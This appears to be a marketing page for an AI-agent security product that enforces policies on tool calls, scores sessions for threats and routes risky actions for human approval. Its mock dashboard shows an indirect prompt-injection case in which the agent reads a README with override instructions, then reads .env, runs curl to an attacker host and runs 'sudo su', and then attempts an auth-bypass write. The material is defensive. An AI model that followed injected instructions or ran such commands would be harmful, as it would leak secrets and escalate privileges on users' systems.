Agentic AI Security

Keep AI agents
within approved bounds

Inventory supported agents, MCP servers, tools and skills. Apply policy and route high-risk actions for approval before execution.

Request an AI Security Assessment Talk to Sales

Enforcement paths — hook, proxy, gateway, cowork

Tool-call actions: allow, log, warn, block, approve

0–1

ATP threat score, EWMA behavioural scoring

100%

Offline enforcement — cached policy

Enforcement Architecture

Four paths. Every agent
covered without code changes.

Each enforcement path is purpose-built for a different integration point — from native IDE hooks to a full MCP gateway. No agent code changes required for any path.

Native Hook (Claude Code / Cursor / Codex)

Lightweight daemon registers as a hook in the IDE's native extension mechanism. Zero-latency enforcement on every tool call before execution. Works even without network connectivity (cached policy).

Cowork Plugin Hook

For agents running inside Cowork environments, AIGuard registers as a plugin hook that intercepts every prompt and tool call at the Cowork platform level — no per-agent configuration.

stdio Proxy (Local MCP Servers)

For MCP servers running locally over stdio, AIGuard wraps the stdio transport with a policy proxy. Every JSON-RPC tool call is intercepted and evaluated before forwarding to the local server process.

MCP Gateway (Remote MCP Servers)

For remote MCP servers accessed over HTTP/SSE, AIGuard acts as a transparent gateway — same policy enforcement, same audit log — for any agent connecting to remote tool servers.

⚠ THREAT WINDOW OPEN

Session a8f3c2 · Claude Code · dev-01

Prompt injection sequence detected across 12 turns

0.87

ATP Score

Agent	Path	Tool Calls	ATP	Status
Claude Code	hook	47	0.87	Threat
Cursor	hook	12	0.04	Active
Claude Code	hook	8	0.41	Approval pending
Codex	hook	3	0.02	Active
custom-agent	gateway	21	0.11	Active

Agentic Threat Prevention

EWMA behavioural scoring.
LLM-assisted threat reasoning.

ATP watches every tool call in a session and scores the session's behaviour over time using exponential weighted moving average. When a threshold is crossed, a threat window opens — and an LLM analyzes the session to explain exactly what was detected.

EWMA behavioural scoring — each tool call is scored individually; the session score is an exponentially weighted average that gives more weight to recent activity. Score 0 = benign, 1 = confirmed threat.
Threat window escalation — when the session score crosses the configured threshold (default 0.75), a threat window opens. Actions within an active threat window are escalated — warn rules become blocks, log rules become approvals.
LLM-assisted reasoning — when a threat window opens, an LLM analyzes the last N tool calls in context and produces a human-readable explanation: what the sequence looks like, what attack pattern it resembles, and which specific tool calls triggered the escalation.
Exfiltration chain detection — ATP specifically watches for credential-read → network-call sequences: if an agent reads a secrets file then makes an outbound HTTP call, the sequence is flagged as a potential exfiltration chain regardless of the individual scores.

LLM Analysis

"This session shows a classic indirect prompt injection pattern. The agent read a README file at turn 4 containing override instructions, then attempted 3 consecutive bash command executions with escalating privilege requests. This matches OWASP AI T04 — indirect prompt injection via retrieved content."

Turn	Tool	Score Δ	Action
T01	read_file(README.md)	+0.12	Logged
T02	read_file(.env)	+0.31	Warned
T03	bash("curl attacker.io")	+0.44	Blocked
T04	bash("sudo su")	+0.18	Blocked

Approval Workflow

High-risk tool calls wait
for human approval.

When a tool call matches a require_approval rule, the agent pauses and waits. The admin reviews the full context — tool name, arguments, session timeline — and approves or denies. Fingerprint-based auto-approval on retry prevents re-reviewing identical safe calls.

Agent pauses on require_approval — the tool call execution is held. The agent receives a pending status and waits for the approval decision without timing out. No session termination.
Full context in the approval UI — admins see the tool name, arguments, the preceding session turns, the current ATP score, and any LLM analysis before making a decision. No context-switching to another tool.
Fingerprint-based auto-approval — a SHA-256 fingerprint of the tool call's arguments is stored on approval. If the agent retries the same tool call with identical arguments, it is auto-approved without requiring another manual review.
Resource group scoping — rules can reference named resource groups (glob-pattern file paths, repo names, database names) to limit which resources require approval. A write to src/** may require approval while writes to tests/** do not.

write_file — Claude Code · dev-03

src/auth/middleware.ts

Pending

path: "src/auth/middleware.ts"
content: "// TODO: bypass auth check..."

ATP score: 0.41 · Session turn 8 of 8 · resource group: src/**

Cloud Agent Inventory

Every cloud AI platform.
One inventory console.

AIGuard auto-discovers agents running on the major cloud AI platforms and surfaces them alongside local IDE agents in a unified console — no agent code changes required.

☁

AWS Bedrock AgentCore

⬡

Azure AI Foundry

◆

Anthropic Managed Agents

✦

Gemini Enterprise

⬡

Microsoft Copilot Studio

How It Works

Agentic security in four steps

Deploy the AIGuard daemon

The local daemon installs via a one-line script and registers as a hook in Claude Code, Cursor, and Codex automatically. Remote agents are pointed at the MCP gateway endpoint. No agent code changes required — setup takes under 5 minutes per developer workstation.

Author tool-call policies

Create rules in the console specifying which tool types (file writes, bash commands, network calls, database operations) require which action (allow, log, warn, block, require_approval) and for which agents and resource groups. Rules are pushed to all daemons immediately.

ATP monitors every session in real time

As the agent works, ATP scores each tool call and updates the session score continuously. The console shows live ATP scores for all active sessions. When a score crosses the threshold, the threat window opens and escalation rules activate. LLM analysis generates an explanation within seconds.

Full session timeline for forensics

Every tool call, its arguments, the policy decision, and the ATP score delta are recorded in a session DAG timeline. The timeline captures parent/child tool call relationships — so you can see that a suspicious bash command was triggered by a specific prompt two turns earlier. Complete forensic replay for incident investigations.

Capability Comparison

AIGuard Agentic vs. alternative approaches

Capability	AIGuard Agentic	IDE Plugin Audit	Network Monitor	Cloud SIEM
Pre-execution tool call enforcement	✓	—	—	—
EWMA behavioural threat scoring	✓ ATP	—	—	Rules only
LLM-assisted threat reasoning	✓	—	—	—
Tool-call approval workflow	✓ Built-in	—	—	—
Fingerprint-based auto-approval	✓	—	—	—
Session DAG timeline	✓ Full DAG	Flat log	Network only	Post-hoc
Offline enforcement	✓ Cached	—	—	—
Cloud AI agent inventory	✓ 5 platforms	—	Limited	Manual

FAQ

Common questions

Locally: Claude Code, Cursor, and GitHub Copilot Codex via native hooks, plus any custom agent via the stdio proxy (local MCP servers) or MCP gateway (remote MCP servers). In the cloud: AWS Bedrock AgentCore, Anthropic Managed Agents, Azure AI Foundry, Google Gemini Enterprise, and Microsoft Copilot Studio. Custom agents using any MCP-compatible interface are supported via the gateway endpoint.

A threat window is an active ATP escalation state for a session. When a session's EWMA score crosses the configured threshold (default 0.75 out of 1.0), the threat window opens. While the threat window is open, rule actions are escalated: warn rules become blocks, log rules trigger approval requests. The threat window closes when the session ends or an admin manually clears it after investigation. LLM-assisted analysis runs automatically when a window opens.

When a tool call matches a require_approval rule, the AIGuard daemon intercepts the call and sends it to the approval queue. The agent process pauses and polls for a decision. The admin sees the tool name, arguments, session context, and ATP score in the console. They click Approve (the tool call executes) or Deny (the tool call returns an error to the agent, which can handle it gracefully). The full roundtrip typically completes in under 30 seconds. Fingerprint-based auto-approval means frequently approved identical calls don't require repeated manual review.

Yes. The AIGuard daemon maintains a locally cached policy bundle that is refreshed from the cloud console periodically. If the cloud API is unreachable (network outage, air-gapped environment), the daemon continues enforcing the last known policy bundle. Approval workflows require connectivity to reach the admin console; if offline, require_approval rules fail-closed by default (the tool call is blocked until connectivity is restored and a manual review can proceed). This behavior is configurable per rule.

Keep AI agentswithin approved bounds

Four paths. Every agentcovered without code changes.